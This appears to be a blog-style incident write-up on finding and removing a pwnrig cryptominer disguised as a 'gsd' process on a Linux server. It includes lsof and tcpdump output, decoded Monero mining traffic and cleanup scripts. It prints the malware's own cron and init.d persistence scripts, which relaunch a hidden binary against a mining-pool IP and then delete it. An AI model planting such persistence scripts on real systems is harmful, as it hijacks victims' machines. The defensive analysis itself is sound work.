Symptoms
- Newly started processes or existing ones were abruptly terminated with no logs, displaying only
Killed. - Observed the suspicious
gsdprocess consuming 100% CPU on half or all cores.
Debugging Process
1. Process and Service Inspection
- Check running processes
ps -ef | grep gsd
ps -ef | grep gsd
...
gdm 2773 2413 0 9월20 tty1 00:00:00 /usr/libexec/gsd-a11y-settings
gdm 2777 2413 0 9월20 tty1 02:39:58 /usr/libexec/gsd-housekeeping
gdm 2784 2413 0 9월20 tty1 00:00:00 /usr/libexec/gsd-power
gdm 2881 1 0 9월20 tty1 00:00:00 /usr/libexec/gsd-printer
root 107479 1 99 03:37 ? 25-02:05:11 gsd
- Verified PIDs with:
pgrep gsd
pgrep gsd
2751
2754
2755
2756
2758
2759
2762
2764
2765
2768
2771
2773
2777
2784
2881
107479 #<- This is main process
- investigate process details:
lsof -p <PID>
ls -l /proc/<PID>/exe
cd /proc/<PID>
lsofshows some http or ip at lastline
gsd 107479 root 12r CHR 1,3 0t0 6 /dev/null
gsd 107479 root 13u IPv4 1038782489 0t0 TCP [your-hostname]:58460->
lowerbills.online:http
(ESTABLISHED)
gsd 894343 root 13u IPv4 3165842874 0t0 TCP [your-hostname]->161.152.194.104.static.cloudzy.com:3333 (ESTABLISHED)
ls -al
total 0
dr-xr-xr-x 9 root root 0 12월 23 03:37 .
dr-xr-xr-x 1710 root root 0 9월 20 23:02 ..
-r--r--r-- 1 root root 0 12월 23 07:10 arch_status
dr-xr-xr-x 2 root root 0 12월 23 07:10 attr
-rw-r--r-- 1 root root 0 12월 23 07:10 autogroup
-r-------- 1 root root 0 12월 23 07:10 auxv
-r--r--r-- 1 root root 0 12월 23 07:10 cgroup
--w------- 1 root root 0 12월 23 07:10 clear_refs
-r--r--r-- 1 root root 0 12월 23 03:37 cmdline
-rw-r--r-- 1 root root 0 12월 23 07:10 comm
-rw-r--r-- 1 root root 0 12월 23 07:10 coredump_filter
-r--r--r-- 1 root root 0 12월 23 07:10 cpuset
lrwxrwxrwx 1 root root 0 12월 23 07:10 cwd -> /
-r-------- 1 root root 0 12월 23 07:10 environ
lrwxrwxrwx 1 root root 0 12월 23 07:10 exe -> '/usr/bin/gsd (deleted)' #
dr-x------ 2 root root 0 12월 23 07:10 fd
dr-x------ 2 root root 0 12월 23 07:10 fdinfo
-rw-r--r-- 1 root root 0 12월 23 07:10 gid_map
-r-------- 1 root root 0 12월 23 07:10 io
-r--r--r-- 1 root root 0 12월 23 07:10 limits
-rw-r--r-- 1 root root 0 12월 23 07:10 loginuid
dr-x------ 2 root root 0 12월 23 07:10 map_files
-r--r--r-- 1 root root 0 12월 23 07:10 maps
-rw------- 1 root root 0 12월 23 07:10 mem
-r--r--r-- 1 root root 0 12월 23 07:10 mountinfo
-r--r--r-- 1 root root 0 12월 23 07:10 mounts
-r-------- 1 root root 0 12월 23 07:10 mountstats
dr-xr-xr-x 60 root root 0 12월 23 07:10 net
dr-x--x--x 2 root root 0 12월 23 07:10 ns
-r--r--r-- 1 root root 0 12월 23 07:10 numa_maps
-rw-r--r-- 1 root root 0 12월 23 07:10 oom_adj
-r--r--r-- 1 root root 0 12월 23 07:10 oom_score
-rw-r--r-- 1 root root 0 12월 23 07:10 oom_score_adj
-r-------- 1 root root 0 12월 23 07:10 pagemap
-r-------- 1 root root 0 12월 23 07:10 patch_state
-r-------- 1 root root 0 12월 23 07:10 personality
-rw-r--r-- 1 root root 0 12월 23 07:10 projid_map
lrwxrwxrwx 1 root root 0 12월 23 07:10 root -> /
-rw-r--r-- 1 root root 0 12월 23 07:10 sched
-r--r--r-- 1 root root 0 12월 23 07:10 schedstat
-r--r--r-- 1 root root 0 12월 23 07:10 sessionid
-rw-r--r-- 1 root root 0 12월 23 07:10 setgroups
-r--r--r-- 1 root root 0 12월 23 07:10 smaps
-r--r--r-- 1 root root 0 12월 23 07:10 smaps_rollup
-r-------- 1 root root 0 12월 23 07:10 stack
-r--r--r-- 1 root root 0 12월 23 03:37 stat
-r--r--r-- 1 root root 0 12월 23 03:38 statm
-r--r--r-- 1 root root 0 12월 23 03:37 status
-r-------- 1 root root 0 12월 23 07:10 syscall
dr-xr-xr-x 50 root root 0 12월 23 07:10 task
-r--r--r-- 1 root root 0 12월 23 07:10 timers
-rw-rw-rw- 1 root root 0 12월 23 07:10 timerslack_ns
-rw-r--r-- 1 root root 0 12월 23 07:10 uid_map
-r--r--r-- 1 root root 0 12월 23 07:10 wchan
- inspecting process directory
cd /proc/<PID>
cd /proc/107479
ls
arch_status auxv cmdline cpuset exe gid_map loginuid mem mountstats numa_maps oom_score_adj personality sched setgroups stack status timers wchan
attr cgroup comm cwd fd io map_files mountinfo net oom_adj pagemap projid_map schedstat smaps stat syscall timerslack_ns
autogroup clear_refs coredump_filter environ fdinfo limits maps mounts ns oom_score patch_state root sessionid smaps_rollup statm task uid_map
cat cmdline
gsd
2. Network Activity
Identified network activity pointing to external servers:
netstat -tulnp | grep <PID>
# -> It does not show usually
sudo ss -tup | grep gsd
tcp ESTAB 0 2568 [YourIP]
103.195.5.148:http #<- This is destination
users:(("gsd",pid=107479,fd=13))
3. System Inspection
- Checked the
/usr/bindirectory for unusual binaries:
ls -l /usr/bin | grep gsd
ls -l /usr/bin | grep gsd
-rwxr-xr-x 1 root root 2365568 12월 23 19:17 gsd
- Verified package integrity:
sudo dpkg -S /usr/bin/gsd
4. Cron Jobs
Detected malicious cron jobs potentially relaunching the gsd process:
crontab -l
sudo ls -l /etc/cron* | grep pwnrig
crontab -l
* * * * * /usr/local/src/.gsd/gsd
udo ls -l /etc/cron* | grep pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
5. Inspect, Investigate “pwnrig”
find / -name "xmrig" -o -name "pwnrig"
/etc/cron.monthly/pwnrig
/etc/cron.daily/pwnrig
/etc/cron.d/pwnrig
/etc/cron.weekly/pwnrig
/etc/cron.hourly/pwnrig
/etc/init.d/pwnrig
cat /etc/cron.d/pwnrig
- It is running
gsdcontinuously
#!/bin/bash
cp -f -r -- /bin/crondr /bin/gsd 2>/dev/null
cd /bin 2>/dev/null
./gsd -c -k >/dev/null 2>&1
rm -rf -- gsd 2>/dev/null
- I try deleting cron
pwnrig cron
/proc/107479# rm -rf /etc/cron.monthly/pwnrig
rm: cannot remove '/etc/cron.monthly/pwnrig': Operation not permitted
- Need to check file attribute
lsattr /etc/cron.monthly/pwnrig
----ia--------e----- /etc/cron.monthly/pwnrig
-
i(immutable):This attribute makes the file immutable. It cannot be modified, deleted, or renamed, and no link can be created to this file. Even root cannot delete or modify the file without removing this attribute first.
-
a(append-only):This attribute allows only data to be appended to the file. It cannot be overwritten or truncated.
-
e(extent format):This attribute indicates that the file is using extents for mapping the blocks on disk. It is typical for files on an ext4 file system and not inherently malicious.
-
change attribute to delete
sudo chattr -i -a /etc/cron.monthly/pwnrig
lsattr /etc/cron.monthly/pwnrig
--------------e----- /etc/cron.monthly/pwnrig
- Try delete cron and success
rm -rf /etc/cron.monthly/pwnrig
-> success
- Check crontab
crontab -e
* * * * * /usr/local/src/.gsd/gsd #<- it is running too
# delete above by Nano or Vim editor
Key Findings
1. Suspicious Network Connection
A command revealed the gsd process was sending data to a server at cloudz with IP address and DNS 212.73.150.237, 104.194.152.161, lowerbills.online:http ... This indicated unauthorized activity
lsof -p <PID>
2. Presence of pwnrig
Further investigation uncovered a file named pwnrig in /etc/cron.d and associated services:
/etc/systemd/system/pwnrig.serviceorpwnrige.service/etc/init.d/pwnrig
#!/bin/bash
cp -f -r -- /bin/crondr /bin/gsd 2>/dev/null
cd /bin 2>/dev/null
./gsd -c -ip 212.73.150.237 >/dev/null 2>&1
rm -rf -- gsd 2>/dev/null
or
#!/bin/bash
### BEGIN INIT INFO
# Provides: pwnrig
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop:
# Short-Description: pwnrig (by pwned)
### END INIT INFO
cp -f -r -- /bin/initdr /bin/gsd 2>/dev/null
cd /bin 2>/dev/null
./gsd -c -k 2>/dev/null
rm -rf -- gsd 2>/dev/null
These scripts were designed to replicate the gsd process and establish persistent unauthorized connections.
3. So.. what is it doing? (Can I know?)
- capture with tcpdump
sudo tcpdump -i [your ethernet (eth0..or ens..)] host [hacker's destination, 104.194.152.161] -w suspicious_traffic.pcap
36492 packets received by filter
sudo tcpdump -i ens2 host 103.195.5.148 -w suspicious_traffic.pcap -c 100
tcpdump: listening on ens2, link-type EN10MB (Ethernet), capture size 262144 bytes
100 packets captured
198 packets received by filter
0 packets dropped by kernel
- read with tcpdump
sudo tcpdump -A -r suspicious_traffic.pcap
reading from file suspicious_traffic.pcap, link-type EN10MB (Ethernet)
20:31:39.607980 IP lowerbills.online.http > [your-host-name].51267: Flags [.], ack 3960277878, win 1239, options [nop,nop,TS val 2820646330 ecr 3293583544], length 0
E..4..@.4.{.g.....
;.P.C.jv....v.....b.....
.....P..
20:31:39.607980 IP lowerbills.online.http > [your-host-name].51267: Flags [P.], seq 0:70, ack 1, win 1239, options [nop,nop,TS val 2820646331 ecr 3293583544], length 70: HTTP
E..z..@.4.{qg.....
;.P.C.jv....v...........
.....P..{"id":11759118,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}
20:31:39.608020 IP [your-host-name].51267 > lowerbills.online.http: Flags [.], ack 70, win 9768, options [nop,nop,TS val 3293583628 ecr 2820646331], length 0
E..4].@.@..q..
;g....C.P.....jw*..&(8a.....
.P......
20:31:39.608091 IP lowerbills.online.http > [your-host-name].51267: Flags [P.], seq 70:140, ack 1, win 1239, options [nop,nop,TS val 2820646331 ecr 3293583544], length 70: HTTP
E..z..@.4.{pg.....
;.P.C.jw*...v...........
.....P..{"id":11759119,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}
- read with wireshark (tshark for cli)
tshark -i enp75s0f0np0 -f "host 104.194.152.161" -w suspicious.pcap
tshark -r suspicious.pcap --export-objects http,out_dir/
39481 56.448810797 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457171 Ack=1115422 Win=3979 Len=214 TSval=2280409611 TSecr=3539830040
39482 56.449400532 104.194.152.161 → 192.168.10.95 TCP 135 3333 → 4257 [PSH, ACK] Seq=1115422 Ack=3451393 Win=535 Len=69 TSval=3539830042 TSecr=2280409537
39483 56.449479681 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457385 Ack=1115491 Win=3979 Len=214 TSval=2280409612 TSecr=3539830042
39484 56.451293755 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457599 Ack=1115491 Win=3979 Len=214 TSval=2280409614 TSecr=3539830042
39485 56.451824885 104.194.152.161 → 192.168.10.95 TCP 135 3333 → 4257 [PSH, ACK] Seq=1115491 Ack=3451607 Win=535 Len=69 TSval=3539830044 TSecr=2280409540
39486 56.452963333 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457813 Ack=1115560 Win=3979 Len=214 TSval=2280409616 TSecr=3539830044
...
tshark -r suspicious.pcap -T fields -e data
f6e6365223a226135393631333663222c22726573756c74223a2237323061353432653739613966313635613162306538623834613263616362613230663939356532336232306131356439376434616131333338663330353030222c22616c676f223a2272782f30227d7d0a
7b226964223a333332383632312c226a736f6e727063223a22322e30222c226572726f72223a6e756c6c2c22726573756c74223a7b22737461747573223a224f4b227d7d0a
7b226964223a333332383634392c226a736f6e727063223a22322e30222c226d6574686f64223a227375626d6974222c22706172616d73223a7b226964223a2239623664623738633139306637653530222c226a6f625f6964223a22313135313634353938222c226e6f6e6365223a223633313630333663222c22726573756c74223a2230303661313430323237636261643165663136363534653431653431653236303136616662306232353034363831653665613633646238373030663332373032222c22616c676f223a2272782f30227d7d0a
- decode?
import binascii
import json
# Encoded Hexadecimal data
hex_data = """
7b226964223a333334343432352c226a736f6e727063223a22322e30222c226572726f72223a6e756c6c2c22726573756c74223a7b22737461747573223a224f4b227d7d0a
7b226964223a333334343434392c226a736f6e727063223a22322e30222c226d6574686f64223a227375626d6974222c22706172616d73223a7b226964223a2239623664623738633139306637653530222c226a6f625f6964223a22313135323932393138222c226e6f6e6365223a223132303230303663222c22726573756c74223a2262616237616461613665336133643365646236343561653636623263326633353066363163363837303364383966396138616163613032623161343261373030222c22616c676f223a2272782f30227d7d0a
"""
# Split lines and decode each one
for line in hex_data.strip().split('\n'):
try:
decoded_line = binascii.unhexlify(line).decode('utf-8')
json_data = json.loads(decoded_line)
print(json.dumps(json_data, indent=4))
except Exception as e:
print(f"Failed to decode: {e}")
python3 decode.py
{
"id": 3344425,
"jsonrpc": "2.0",
"error": null,
"result": {
"status": "OK"
}
}
{
"id": 3344449,
"jsonrpc": "2.0",
"method": "submit",
"params": {
"id": "9b6db78c190f7e50",
"job_id": "115292918",
"nonce": "1202006c",
"result": "bab7adaa6e3a3d3edb645ae66b2c2f350f61c68703d89f9a8aaca02b1a42a700",
"algo": "rx/0"
}
}
method: "submit": This message represents a task submission to the server.params****:id****: A unique identifier for the mining software.job_id****: The task ID assigned by the server.nonce****: A nonce value used in cryptocurrency mining to generate a hash that satisfies specific conditions through multiple attempts.result****: The result of the task (hash value). If this value meets certain conditions (e.g., difficulty level), it is recognized as a valid block.algo****: The algorithm used.rx/0represents the RandomX algorithm, commonly used in cryptocurrencies like Monero.
Meaning:
This indicates that the client (gsd process) is sending the results of a mining task (hash value) to the server.
Solution
- step-1 : change attr and delete files
#!/bin/bash
# related files
FILES=(
"/etc/systemd/system/pwnrige.service"
"/etc/systemd/system/multi-user.target.wants/pwnrige.service"
"/etc/systemd/system/multi-user.target.wants/pwnrigl.service"
"/etc/init.d/pwnrig"
"/etc/cron.d/pwnrig"
"/etc/cron.daily/pwnrig"
"/etc/cron.hourly/pwnrig"
"/etc/cron.weekly/pwnrig"
"/etc/cron.monthly/pwnrig"
"/bin/sysdr"
"/bin/gsd"
)
echo "[INFO] Removing files and directories..."
for FILE in "${FILES[@]}"; do
if [ -e "$FILE" ]; then
chattr -i -a "$FILE" 2>/dev/null
rm -rf "$FILE" 2>/dev/null
echo "[INFO] File $FILE removed."
else
echo "[INFO] File $FILE not found."
fi
done
- step-2 : stop and delete
systemdservices
#!/bin/bash
SERVICES=(
"pwnrige.service"
"pwnrigl.service"
)
echo "[INFO] Stopping and disabling systemd services..."
for SERVICE in "${SERVICES[@]}"; do
if systemctl list-units --full -all | grep -q "$SERVICE"; then
systemctl stop "$SERVICE" 2>/dev/null
systemctl disable "$SERVICE" 2>/dev/null
echo "[INFO] Service $SERVICE stopped and disabled."
else
echo "[INFO] Service $SERVICE not found."
fi
done
# reload daemon
echo "[INFO] Reloading systemctl daemon..."
systemctl daemon-reload
- step-3 : kill process
#!/bin/bash
PROCESS_NAMES=(
"pwnrig"
"gsd"
)
echo "[INFO] Killing running processes..."
for PROC_NAME in "${PROCESS_NAMES[@]}"; do
while pgrep "$PROC_NAME" > /dev/null; do
pkill -9 "$PROC_NAME"
echo "[INFO] Process $PROC_NAME terminated."
sleep 1
done
done
- step-4 : block IP
#!/bin/bash
BLOCKED_IPS=(
"212.73.150.237"
"161.152.194.104"
"104.194.152.161"
)
echo "[INFO] Blocking malicious IPs..."
for IP in "${BLOCKED_IPS[@]}"; do
ufw deny out to "$IP" 2>/dev/null
iptables -A OUTPUT -d "$IP" -j DROP 2>/dev/null
echo "[INFO] Blocked IP $IP."
done
# UFW 설정 적용
echo "[INFO] Reloading UFW..."
ufw reload 2>/dev/null
- step-5 (optional) enable and setup ufw
#!/bin/bash
echo "[INFO] Configuring UFW settings..."
ufw default deny incoming 2>/dev/null
ufw default allow outgoing 2>/dev/null
ufw allow ssh 2>/dev/null
echo "[INFO] SSH port allowed in UFW."
ufw enable 2>/dev/null
echo "[INFO] UFW enabled with SSH allowed."
- step-6 check
crontab -eagain (delete if exists)
Create above code as [name].sh and run
chmod +x *.sh
./files.sh
./systemctl.sh
./process.sh
./block.sh
pgrep gsd
# empty!
Recommend Final Step: OS Reinstallation
To ensure complete removal of the malware, reinstalled the operating system and restored from a clean backup.